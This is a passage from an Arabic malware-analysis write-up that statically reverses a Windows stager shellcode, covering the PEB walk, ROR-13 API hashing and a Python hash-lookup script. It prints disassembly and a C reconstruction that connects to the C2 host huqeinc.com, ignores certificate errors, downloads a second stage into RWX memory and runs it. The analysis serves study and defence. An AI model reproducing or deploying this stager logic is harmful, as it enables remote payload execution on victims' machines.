- الإزاحة `0xc` هي عضو `LDR` في `PEB`، ونوعه `PPEB_LDR_DATA`، وهو موثّق [هنا](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data).
- الإزاحة `0x14` في بنية `PEB_LDR_DATA` هي العضو `InMemoryOrderModuleList`، من النوع `LIST_ENTRY`. بنية `LIST_ENTRY` تُستخدم بكثرة في Windows، وعادةً ما تكون مجرّد ترويسة داخل بنية أكبر. وهذه الحالة ليست استثناءً - النوع الحقيقي للعناصر هو `LDR_DATA_TABLE_ENTRY`.
- عند الإزاحة `0x24` في `LDR_DATA_TABLE_ENTRY` يوجد عضو `FullDllName` من النوع `UNICODE_STRING`. هذا النوع يُستخدم بكثرة في Windows، وهو في الأساس حاوية لسلسلة بنمط Pascal - أول كلمتين (`WORDs`) تصفان طول السلسلة وسعة المخزن المؤقت الخاص بها. لذلك، عند `0x28` سنربط المخزن المؤقت الفعلي - والذي سيتم حفظه في مسجّل `esi`.
- مسجّل `ecx` يبعد بمقدار 2 بايت فقط عن مخزن اسم DLL - ويحتوي على طول السلسلة.
باختصار، هذا الجزء بأكمله يجلب `FullDllName` من إدخال الوحدة الحالي في PEB - مع حفظ المخزن المؤقت في `esi` وطوله في `ecx`.
## حساب تجزئة اسم الوحدة
دعونا نفحص التعليمتين التاليتين:```assembly
0x000000000000001c: 31 FF xor edi, edi
0x000000000000001e: 31 C0 xor eax, eax
0x0000000000000020: AC lodsb al, byte ptr [esi]
0x0000000000000021: 3C 61 cmp al, 0x61
0x0000000000000023: 7C 02 jl 0x27
0x0000000000000025: 2C 20 sub al, 0x20
0x0000000000000027: C1 CF 0D ror edi, 0xd
0x000000000000002a: 01 C7 add edi, eax
0x000000000000002c: E2 F0 loop 0x1e
تعليمة lodsb هي بالضبط السبب في حفظ السلسلة في esi، وسبب حفظ الطول في ecx، وسبب مسح علم الاتجاه.
تقوم هذه التعليمة بقراءة أول حرف ANSI (بايت) يشير إليه esi، مع زيادة esi بمقدار واحد وحفظ النتيجة في سجل al.
الأجزاء اللاحقة تحوّل الحرف من حرف صغير إلى كبير - إذا كان رمز ASCII أكبر من أو يساوي 0x61 ('a') فإنه يطرح 0x20.
بعد التحويل إلى أحرف كبيرة، يتم تدوير سجل edi لليمين بمقدار 0xd ثم تضاف إليه قيمة الحرف.
بما أن edi يتم تدويره - فإنه يفقد المعلومات حول الأحرف المضافة إليه لكنه يحتفظ بنوع من التجميع لها في قيمته.
بعبارة أخرى - edi هو نوع من التجزئة (hash) للسلسلة التي يشير إليها esi. تعليمة loop، بالمناسبة، تستفيد بذكاء من حقيقة أن ecx هو العدّاد لطول السلسلة - فهي تنقص ecx بمقدار واحد وستنفذ التكرار التالي طالما أن ليس صفرًا.
ترجمة هذا المنطق إلى بايثون أمر مباشر جدًا:```python
def get_string_hash(s):
v = 0
for c in s.upper():
v = (v >> 0xd) | ((v & 0x1fff) << 19)
v = (v + ord(c)) & 0xffffffff
return v
## التنقل في جدول التصدير
لننتقل إلى التعليمتين التاليتين:```assembly
0x000000000000002e: 52 push edx
0x000000000000002f: 57 push edi
0x0000000000000030: 8B 52 10 mov edx, dword ptr [edx + 0x10]
0x0000000000000033: 8B 42 3C mov eax, dword ptr [edx + 0x3c]
0x0000000000000036: 01 D0 add eax, edx
0x0000000000000038: 8B 40 78 mov eax, dword ptr [eax + 0x78]
0x000000000000003b: 85 C0 test eax, eax
0x000000000000003d: 74 4A je 0x89
0x000000000000003f: 01 D0 add eax, edx
0x0000000000000041: 50 push eax
0x0000000000000042: 8B 48 18 mov ecx, dword ptr [eax + 0x18]
0x0000000000000045: 8B 58 20 mov ebx, dword ptr [eax + 0x20]
0x0000000000000048: 01 D3 add ebx, edx
أولاً، يتم نسخ edx (الذي يحتوي على مدخل الوحدة الحالية) وedi (الذي يحتوي على تجزئة اسمه) احتياطيًا إلى المكدس.
بعد ذلك، تتم الإشارة إلى edx عند الإزاحة 0x10. وبما أننا على بُعد 8 بايت داخل البنية (من النوع LDR_DATA_TABLE_ENTRY)، فإن 0x10 هو عضو DllBase في المدخل (0x18 - 0x8).
حتى في الذاكرة، تمتلك الوحدة بنية PE، والإزاحة 0x3c تقابل مؤشر ترويسة PE في ترويسة DOS.
يمكننا رؤية eax يُعامل كـ RVA لأنه يُضاف إلى edx نفسه - edx هو عنوان قاعدة الوحدة في الذاكرة.
وبالمثل، فإن الإزاحة 0x78 من ذلك هي جدول تصدير PE، الذي يحتوي على معلومات حول الرموز المُصدَّرة (غالبًا الدوال).
تُسمى بنية البيانات الخاصة به IMAGE_EXPORT_DIRECTORY وهي موثقة جيدًا.
بافتراض أنها ليست صفرًا (والتي يتم عليها) - ندفع ونفك مرجعين فيها:
NumberOfNames.AddressOfNames.
إذن، باختصار، نفّذ هذا الجزء بعض التحليل لـ PE للحصول على جدول التصدير - وتحديدًا عدد الرموز المُصدَّرة (في ecx) وعنوانها في الذاكرة (في ebx).متابعةً:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx
تقفز تعليمة `jecxz` إذا كان `ecx` صفراً - يحدث هذا إذا لم تكن هناك أسماء مُصدَّرة، لكنه يلمح أيضاً إلى أن هذا الفحص سيحدث في حلقة.
حقيقة أننا نُنقص `ecx` تؤكد هذا الظن - نتوقع تكراراً عبر جميع الرموز المُصدَّرة لمطابقة شرط معين.
نرى `ecx` مضروباً في 4 ومضافاً إلى `ebx` - جميع العناصر في `AddressOfNames` هي عناوين نسبية (RVAs) لأسماء الرموز، وبالتالي يشير `esi` في النهاية إلى اسم مُصدَّر.```assembly
0x0000000000000052: 31 FF xor edi, edi
0x0000000000000054: 31 C0 xor eax, eax
0x0000000000000056: AC lodsb al, byte ptr [esi]
0x0000000000000057: C1 CF 0D ror edi, 0xd
0x000000000000005a: 01 C7 add edi, eax
0x000000000000005c: 38 E0 cmp al, ah
0x000000000000005e: 75 F4 jne 0x54
يشبه هذا الجزء نفس حساب التجزئة الذي رأيناه سابقًا، لكن بدلاً من استخدام ecx كعداد - فإنه يحسب التجزئة حتى الوصول إلى مُنهي NUL:
edi إلى صفر (عبر عملية XOR الذاتية). وكما في السابق - سيحتفظ edi بقيمة التجزئة.eax إلى صفر أيضًا. بايته السفلي (al) سيحتوي على رمز ASCII للحرف الحالي في كل تكرار.lodsb يضبط الكود al ليكون البايت المشار إليه بواسطة esi ويزيد esi إلى البايت التالي.edi لليمين 0xd مرة ثم تُضاف إليه قيمة ASCII للحرف الحالي.al وah في الواقع تقارن al بصفر (مُنهي NUL)، حيث لا توجد أي عملية هنا تلمس باقي بايتات eax وقد تأكدنا من أنها صفر.loop (التي تتفاعل مع )، نعود ببساطة (باستخدام ) - طالما لم نواجه مُنهي NUL.نتوقع أن تقوم الأجزاء التالية بنوع من المقارنة بين التجزئات المختلفة التي حسبناها (اسم الوحدة، اسم الرمز) والمدخلات التي تلقيناها:```assembly
0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8]
0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24]
0x0000000000000066: 75 E2 jne 0x4a
0x0000000000000068: 58 pop eax
0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24]
0x000000000000006c: 01 D3 add ebx, edx
0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2]
0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c]
0x0000000000000075: 01 D3 add ebx, edx
0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4]
0x000000000000007a: 01 D0 add eax, edx
0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax
0x0000000000000080: 5B pop ebx
0x0000000000000081: 5B pop ebx
0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx
0x0000000000000084: 5A pop edx
0x0000000000000085: 51 push ecx
0x0000000000000086: FF E0 jmp eax
حسنًا، يشير `ebp-8` تمامًا إلى قيمة `edi` القديمة التي دفعناها - والتي كانت تحتوي على هاش اسم الوحدة المضبوط.
نضيف قيمة الهاش تلك إلى قيمة هاش الاسم المُصدَّر، ونقارن الناتج بـ DWORD الموجود عند `ebp+0x24`.
بسبب تعليمة `pushad` السابقة، دفعنا 8 مسجلات، لذا يشير هذا مباشرةً إلى آخر قيمة غامضة تم دفعها في البداية (0x726774c)!
إذا لم تكونا متساويتين - نقفز إلى الإزاحة `0x4a` للانتقال إلى الرمز التالي في نفس الوحدة.
خلاف ذلك، نستعيد جدول التصدير إلى `eax`، ونفك مرجع الإزاحة 0x24 بايت (وهو جدول الأرقام الترتيبية) ونضيفه إلى القاعدة `ebx`.
يحتوي جدول الأرقام الترتيبية على 2 بايت لكل مدخل - وبما أن `ecx` هو رقم المدخل، فإن `ebx + ecx*2` هو القيمة الترتيبية.
السطران التاليان واضحان: `0x1c` في جدول التصدير هو عنوان الدوال المُصدَّرة، و`ebx + ecx*4` يمثل عنوان الدالة المُفهرَس بواسطة `ecx`.
كما يمكن ملاحظته، يتم حفظ هذه القيمة في `eax` ويتم استدعاؤها في النهاية:
- حفظ قيمة `eax` في `esp + 0x24`، وهو في هذه المرحلة الزمنية بالضبط المكان الذي حُفظ فيه مسجل `eax` في تعليمة `pushad`. يضمن هذا عدم فقدان قيمة `eax` عند تشغيل `popad`.
- القيام بعمليتي `pop` وهميتين إلى `ebx` للتخلص من عمليتي الدفع السابقتين (الهاش المحسوب ومدخل الوحدة).
- تنفيذ `popad`، الذي يستعيد جميع مسجلات الأغراض العامة من المكدس، لكنه يحفظ `eax` بسبب تجاوزنا السابق. في هذه المرحلة يكون المكدس والمسجلات مساويين لحالتهما الأصلية عند الدخول إلى الدالة، باستثناء `eax` الذي يمثل مؤشر الدالة المطلوب.
- إخراج قيمة الإرجاع (المدفوعة من `call ebp`) إلى `ecx` والهاش المطلوب إلى `edx`، ثم دفع `ecx` مرة أخرى، مما يتخلص فعليًا من قيمة الهاش الغامضة في المكدس.
- تنفيذ `jmp eax` عند هذه النقطة ينهي الدالة - الدالة التي يشير إليها `eax` ستعمل، وعندما تعود ستستخدم قيمة الإرجاع الأصلية.
الجزء الأخير من هذا المنطق الطويل يواصل الانتقال إلى الوحدة التالية:```assembly
0x0000000000000088: 58 pop eax
0x0000000000000089: 5F pop edi
0x000000000000008a: 5A pop edx
0x000000000000008b: 8B 12 mov edx, dword ptr [edx]
0x000000000000008d: EB 86 jmp 0x15
سيعمل هذا أساسًا على تنظيف الدفعات السابقة والانتقال إلى الإزاحة 0x15، حيث سيتم استخدام الوحدة النمطية التالية.
باختصار - فجميع شيلكود بين الإزاحة 6 و0x8d (شاملًا) يتوقع تمرير الوسائط إلى دالة، متبوعة بـ hash مخصص. عندما تتم مطابقة الـ hash - يتم استدعاء الدالة المعنية. إنها بالتأكيد طريقة رائعة لتجنب وجود سلاسل أسماء الدوال في كودك!
نظرًا لأننا سنقوم بفحص هذه الـ hashes كثيرًا، من الجيد أتمتة عملنا. لنعد استخدام سكربتات Python التي كتبناها سابقًا ونكتب دالة تبحث عن hash معين:```python import os import pefile import sys
BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')
def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v
def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))
def get_sym_hash(s): return get_string_hash(s + '\x00')
def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')
if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)
على سبيل المثال، عند تشغيل `get_hash.py 0x726774c kernel32.dll` نحصل على الناتج `kernel32.dll!LoadLibraryA`!
## تحليل المنطق الرئيسي
الآن بعد أن فهمنا كيفية عمل آلية التجزئة بأكملها، حان وقت اصطياد الهاشات!
لنعد إلى المنطق الرئيسي - قلنا إن سلسلة `wininet` تُدفع إلى المكدس - والآن نعلم أن `LoadLibraryA` تُستدعى معها.
الأجزاء التالية الآن:```assembly
0x00000000000000a2: E8 00 00 00 00 call 0xa7
0x00000000000000a7: 31 FF xor edi, edi
0x00000000000000a9: 57 push edi
0x00000000000000aa: 57 push edi
0x00000000000000ab: 57 push edi
0x00000000000000ac: 57 push edi
0x00000000000000ad: 57 push edi
0x00000000000000ae: 68 3A 56 79 A7 push 0xa779563a
0x00000000000000b3: FF D5 call ebp
الاستدعاء call هناك يدفع عنوان الإرجاع إلى المكدس (0xa7).
ثم، نقوم بتصفير edi ودفع 5 أصفار إلى المكدس. إن 0xa779563a هو تجزئة أخرى، هذه المرة في wininet.dll، حيث أن get_hash.py 0xa779563a يُنتج wininet.dll!InternetOpenA.
لذلك، يستدعي الكود InternetOpenA مع جميع الأصفار وNULL.
هناك بضع قفزات تنتهي باستدعاء يعود إلى الإزاحة 0xba:```assembly
0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e
0x00000000000000ba: 5B pop ebx
...
0x000000000000015e: E9 C9 01 00 00 jmp 0x32c
...
0x000000000000032c: E8 89 FD FF FF call 0xba
0x0000000000000331: 68 75 71 65 69 push 0x69657175
0x0000000000000336: E6 outs dx, byte ptr ds:[esi]
...
الفكرة هي أنه عند العودة - سيكون لدينا عنوان الإزاحة `0x331` مدفوعًا على المكدس.
أضفت بضع تعليمات تجميع عند هذا العنوان - لاحظ أن `outs`، على سبيل المثال، ليست شيئًا نتوقعه.
فحص تلك البايتات *كبيانات* يعطي قصة مختلفة:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')
يُنتج هذا السلسلة huqeinc.com (مع إنهاء NUL)، تليها 4 بايتات غير مفهومة.
لذا، عندما نعود إلى العنوان 0xba نقوم بعملية pop إلى ebx، والتي ستشير إلى تلك السلسلة.
لنفحص الأجزاء التي تلي هذه التعليمة:```assembly
0x00000000000000bb: 31 C9 xor ecx, ecx
0x00000000000000bd: 51 push ecx
0x00000000000000be: 51 push ecx
0x00000000000000bf: 6A 03 push 3
0x00000000000000c1: 51 push ecx
0x00000000000000c2: 51 push ecx
0x00000000000000c3: 68 BB 01 00 00 push 0x1bb
0x00000000000000c8: 53 push ebx
0x00000000000000c9: 50 push eax
0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957
0x00000000000000cf: FF D5 call ebp
القيمة `0xc69f8957` هي هاش آخر، هذه المرة لـ `wininet.dll!InternetConnectA`.
تستقبل تلك الدالة الكثير من المعاملات، لكننا في الأساس نحصل على: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
لاحظ أن `INTERNET_SERVICE_HTTP` قيمتها 3، و`0x1bb` هي 443، و`eax` يحتوي على النتيجة من `InternetOpenA`.
بالمضي قدمًا، نرى مجموعة مشابهة من القفزات بعد حفظ نتيجة `InternetConnectA`:```assembly
0x00000000000000d1: 50 push eax
0x00000000000000d2: E9 8C 00 00 00 jmp 0x163
0x00000000000000d7: 5B pop ebx
0x00000000000000d8: 31 D2 xor edx, edx
0x00000000000000da: 52 push edx
0x00000000000000db: 68 00 32 C0 84 push 0x84c03200
0x00000000000000e0: 52 push edx
0x00000000000000e1: 52 push edx
0x00000000000000e2: 52 push edx
0x00000000000000e3: 53 push ebx
0x00000000000000e4: 52 push edx
0x00000000000000e5: 50 push eax
0x00000000000000e6: 68 EB 55 2E 3B push 0x3b2e55eb
0x00000000000000eb: FF D5 call ebp
...
0x0000000000000163: E8 6F FF FF FF call 0xd7
0x0000000000000168: 2F das
0x0000000000000169: 51 push ecx
0x000000000000016a: 70 59 jo 0x1c5
...
كما في السابق، التعليمات التي تلي الاستدعاء تبدو أقل منطقية، لذا نشك في أنه ينبغي تفسيرها كبيانات.
في الواقع، تقوم بترميز السلسلة المنتهية بـ NUL /QpYB، وهذا ليس مفيدًا للغاية. نلاحظ أنه عندما نعود إلى الإزاحة 0xd7، يتم دفع مؤشر إلى تلك السلسلة إلى المكدس.
بالعودة إلى 0xd7، يتم إخراج ذلك العنوان إلى ebx. لفهم معنى تلك البيانات، دعنا نكتشف أي دالة يتم استدعاؤها.
ينتج عن التجزئة 0x3b2e55eb الدالة wininet.dll!HttpOpenRequestA، والتي تأخذ أيضًا العديد من المعاملات.
معظم تلك المعاملات ستكون قيمًا فارغة (NULL) (بسبب دفع edx)، باستثناء ما يلي:
hConnect هو eax، وهو ناتج InternetConnectA.lpszObjectName هو السلسلة التي رأيناها (/QpYB).dwFlags تحتوي على القيمة 0x84c03200، والتي وفقًا لـ هذا، هي INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD.تنتهي التعليمات القليلة التالية باستدعاء API آخر:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp
بعد نسخ النتائج احتياطيًا من `HttpOpenRequestA` باستخدام `esi`، نضيف 0x50 إلى `ebx`.
نظرًا لأن `ebx` مضمون الاستمرار بين الاستدعاءات، فإنه سيشير الآن إلى الإزاحة `0x1b8` في الـ shellcode، والتي عند تقديمها كنص تبدو هكذا: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
يحلّ الهاش `0x869e4675` إلى الـ API `wininet.dll!InternetSetOptionA`، والذي سيستقبل الوسائط التالية:
- مقبض الطلب الذي تم حفظه في `esi`.
- القيمة `0x1f` كـ `dwOption`، وهي `INTERNET_OPTION_SECURITY_FLAGS` وفقًا لـ [هذا](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags).
- معامل `lpBuffer` سيكون مؤشرًا إلى القيمة `0x3380`، والتي ترمّز أعلام الأمان للطلب: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- `dwBufferLength` هو 4، حيث تم تعيين DWORD واحد فقط كـ `lpBuffer`.
سيجعل هذا الاتصال يستخدم TLS مع تجاهل جميع أخطاء الشهادات وما إلى ذلك.
فيما يلي الأجزاء التالية:```assembly
0x0000000000000106: 5F pop edi
0x0000000000000107: 31 FF xor edi, edi
0x0000000000000109: 57 push edi
0x000000000000010a: 57 push edi
0x000000000000010b: 6A FF push -1
0x000000000000010d: 53 push ebx
0x000000000000010e: 56 push esi
0x000000000000010f: 68 2D 06 18 7B push 0x7b18062d
0x0000000000000114: FF D5 call ebp
0x0000000000000116: 85 C0 test eax, eax
0x0000000000000118: 0F 84 CA 01 00 00 je 0x2e8
0x000000000000011e: 31 FF xor edi, edi
0x0000000000000120: 85 F6 test esi, esi
0x0000000000000122: 74 04 je 0x128
0x0000000000000124: 89 F9 mov ecx, edi
0x0000000000000126: EB 09 jmp 0x131
0x0000000000000128: 68 AA C5 E2 5D push 0x5de2c5aa
0x000000000000012d: FF D5 call ebp
0x000000000000012f: 89 C1 mov ecx, eax
0x0000000000000131: 68 45 21 5E 31 push 0x315e2145
0x0000000000000136: FF D5 call ebp
0x0000000000000138: 31 FF xor edi, edi
0x000000000000013a: 57 push edi
0x000000000000013b: 6A 07 push 7
0x000000000000013d: 51 push ecx
0x000000000000013e: 56 push esi
0x000000000000013f: 50 push eax
0x0000000000000140: 68 B7 57 E0 0B push 0xbe057b7
0x0000000000000145: FF D5 call ebp
0x0000000000000147: BF 00 2F 00 00 mov edi, 0x2f00
0x000000000000014c: 39 C7 cmp edi, eax
0x000000000000014e: 75 07 jne 0x157
0x0000000000000150: 58 pop eax
0x0000000000000151: 50 push eax
0x0000000000000152: E9 7B FF FF FF jmp 0xd2
0x0000000000000157: 31 FF xor edi, edi
0x0000000000000159: E9 91 01 00 00 jmp 0x2ef
يوجد pop وهمي لتنظيف الدفع الزائد من قبل (قمنا بدفع خيارات الأمان إلى المكدس).
بما أننا نرى تجزئة أخرى (0x7b18062d)، فإننا نحل واجهة برمجة التطبيقات الخاصة بها فورًا: wininet.dll!HttpSendRequestA.
هناك بعض الأجزاء الجديرة بالملاحظة هنا:
ebx يُستخدم كالوسيط الثاني للدالة.0x2e8.esi يساوي صفرًا هو في الحقيقة تحقق من أن مقبض الطلب ليس NULL. هذا غريب بعض الشيء لأننا استدعينا بالفعل HttpSendRequestA عند هذه النقطة، ولكن مع ذلك - إذا كان كذلك، نقفز إلى 0x128.0x128 نستخدم التجزئة 0x5de2c5aa، وهي kernel32.dll!GetLastError، ونحفظ نتيجتها في ecx.0x131 نستخدم التجزئة 0x315e2145، وهي user32.dll!GetDesktopWindow، ثم نستخدم تلك النتيجة مع التجزئة 0xbe057b7، وهي .الفكرة هي ببساطة استدعاء InternetErrorDlg ومعرفة ما إذا كانت إعادة المحاولة مطلوبة.
لنتذكر أيضًا: إذا فشل HttpSendRequestA - نقفز إلى 0x2e8. إذا نجح ولم تكن إعادة المحاولة مطلوبة - نقفز إلى 0x2ef.
بفحص الإزاحة 0x2e8 (مسار الفشل):```assembly
0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0
0x00000000000002ed: FF D5 call ebp
تُترجم قيمة التجزئة إلى `kernel32.dll!ExitProcess`، لذلك عند الفشل - ننهي العملية.
قد يُترجم هذا الجزء بأكمله على النحو التالي:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
goto lblRetryConn;
}
...
دعونا نفحص ما يحدث عند الإزاحة 0x2ef:```assembly
0x00000000000002ef: 6A 40 push 0x40
0x00000000000002f1: 68 00 10 00 00 push 0x1000
0x00000000000002f6: 68 00 00 40 00 push 0x400000
0x00000000000002fb: 57 push edi
0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458
0x0000000000000301: FF D5 call ebp
0x0000000000000303: 93 xchg ebx, eax
0x0000000000000304: B9 00 00 00 00 mov ecx,0x0
0x0000000000000309: 01 D9 add ecx,ebx
0x000000000000030b: 51 push ecx
0x000000000000030c: 53 push ebx
0x000000000000030d: 89 E7 mov edi, esp
0x000000000000030f: 57 push edi
0x0000000000000310: 68 00 20 00 00 push 0x2000
0x0000000000000315: 53 push ebx
0x0000000000000316: 56 push esi
0x0000000000000317: 68 12 96 89 E2 push 0xe2899612
0x000000000000031c: FF D5 call ebp
0x000000000000031e: 85 C0 test eax, eax
0x0000000000000320: 74 C6 je 0x2e8
هل يمكنك تخمين ما هو الهاش `0xe553a458` استنادًا إلى تلك الثوابت الأخرى فقط؟
- `0x40` هو `PAGE_EXECUTEREADWRITE` كما رأينا سابقًا.
- `0x1000` هو `MEM_COMMIT`.
في الواقع، هذا الهاش يطابق `kernel32.dll!VirtualAlloc`، ونقوم ببساطة بتخصيص كتلة RWX بحجم `0x400000`.
من المهم تخمين منطق المهاجم هنا - نظرًا لأن لدينا اتصالًا بالإنترنت بخادم C2 ما، ونقوم الآن بتخصيص صفحة RWX - فإننا نتوقع استلام حمولة أخرى!
بعد ذلك الاستدعاء، يتم حفظ مخزن الذاكرة الناتج في `ebx` و`ecx`.
عند الإزاحة `0x30b` نبدأ مجموعة أخرى من عمليات push على المكدس لاستدعاء دالة - هذه المرة بالهاش `0xe2899612` (`wininet.dll!InternetReadFile`).
تحدد عمليات الدفع الوسائط (بترتيب عكسي):
- `hFile` هو `esi`، وهو طلب الإنترنت الخاص بنا (من النوع `HINTERNET`).
- `lpBuffer` هو `ebx` - المخزن المخصص حديثًا لدينا.
- `dwNumberOfBytesToRead` مضبوط على `0x2000`.
- `lpdwNumberOfBytesRead` هو `edi`، والذي يشير إلى مساحة إضافية خصصناها على المكدس.
أخيرًا، إذا فشلت هذه الدالة، نقفز إلى `0x2e8`، والتي ستستدعي مرة أخرى `ExitProcess`.
لاحظ أن هناك تعليمة push إضافية لـ `ecx` (الإزاحة `0x30b`) - هذا يعني أننا قمنا بعمل نسخة احتياطية من عنوان المخزن المخصص لدينا.
لقد اقتربنا من النهاية! دعونا نفحص آخر تعليماتين:```assembly
0x0000000000000322: 8B 07 mov eax, dword ptr [edi]
0x0000000000000324: 01 C3 add ebx, eax
0x0000000000000326: 85 C0 test eax, eax
0x0000000000000328: 75 E5 jne 0x30f
0x000000000000032a: 58 pop eax
0x000000000000032b: C3 ret
حسنًا، كان edi يشير إلى عدد البايتات المقروءة - يتم تفكيك الإشارة إليه (dereference) في eax.
بعد ذلك، نضيف تلك القيمة إلى ebx، وهو مُحتفَظ به ويشير إلى منطقة الذاكرة RWX الخاصة بنا.
إذا لم يكن eax صفرًا فهذا يعني أنه تمت قراءة بعض البايتات، لذلك نقفز مرة أخرى إلى 0x30f لقراءة المزيد من البيانات.
هذا أمر شائع في سيناريوهات القراءة - نقرأ حدًا أقصى يبلغ 0x2000 بايت في كل مرة حتى نقرأ 0، وهو ما يعني عدم وجود بايتات متبقية للقراءة.
إذا لم نقفز فنحن عند 0x32a، حيث ننفّذ pop للبايتات المخصصة من المكدس ثم نستدعي ret.
وللتذكير، سبق أن دفعنا بداية المخزن المؤقت المُرجَع إلى المكدس، لذلك سيستخدمه ret كعنوان عودة.
هذا يعني أننا ببساطة نقفز إلى المخزن المؤقت الذي حصلنا عليه - نتعامل معه أساسًا باعتباره shellcode آخر!
هذا ما قد يبدو عليه الـ shellcode الخاص بنا من الناحية المفاهيمية:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();
// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");
// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));
// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);
// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);
// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();
## ملخص
على الرغم من أن هذا شيل كود شائع جدًا للنظر إليه، فإن تحليله بشكل ثابت له فوائد تعليمية:
- استخرجنا طبقات متعددة من كود PowerShell للحصول على شيل كود 32-بت.
- أثناء تحليل الشيل كود، ناقشنا `PEB` واستراتيجية كتابة الشيل كود على ويندوز.
- بنينا أداة للبحث العكسي عن الهاش (انظر `get_hash.py` في هذا المستودع).
- ناقشنا تقنيات شيل كود شائعة مثل `push-ret` و `call-pop`.
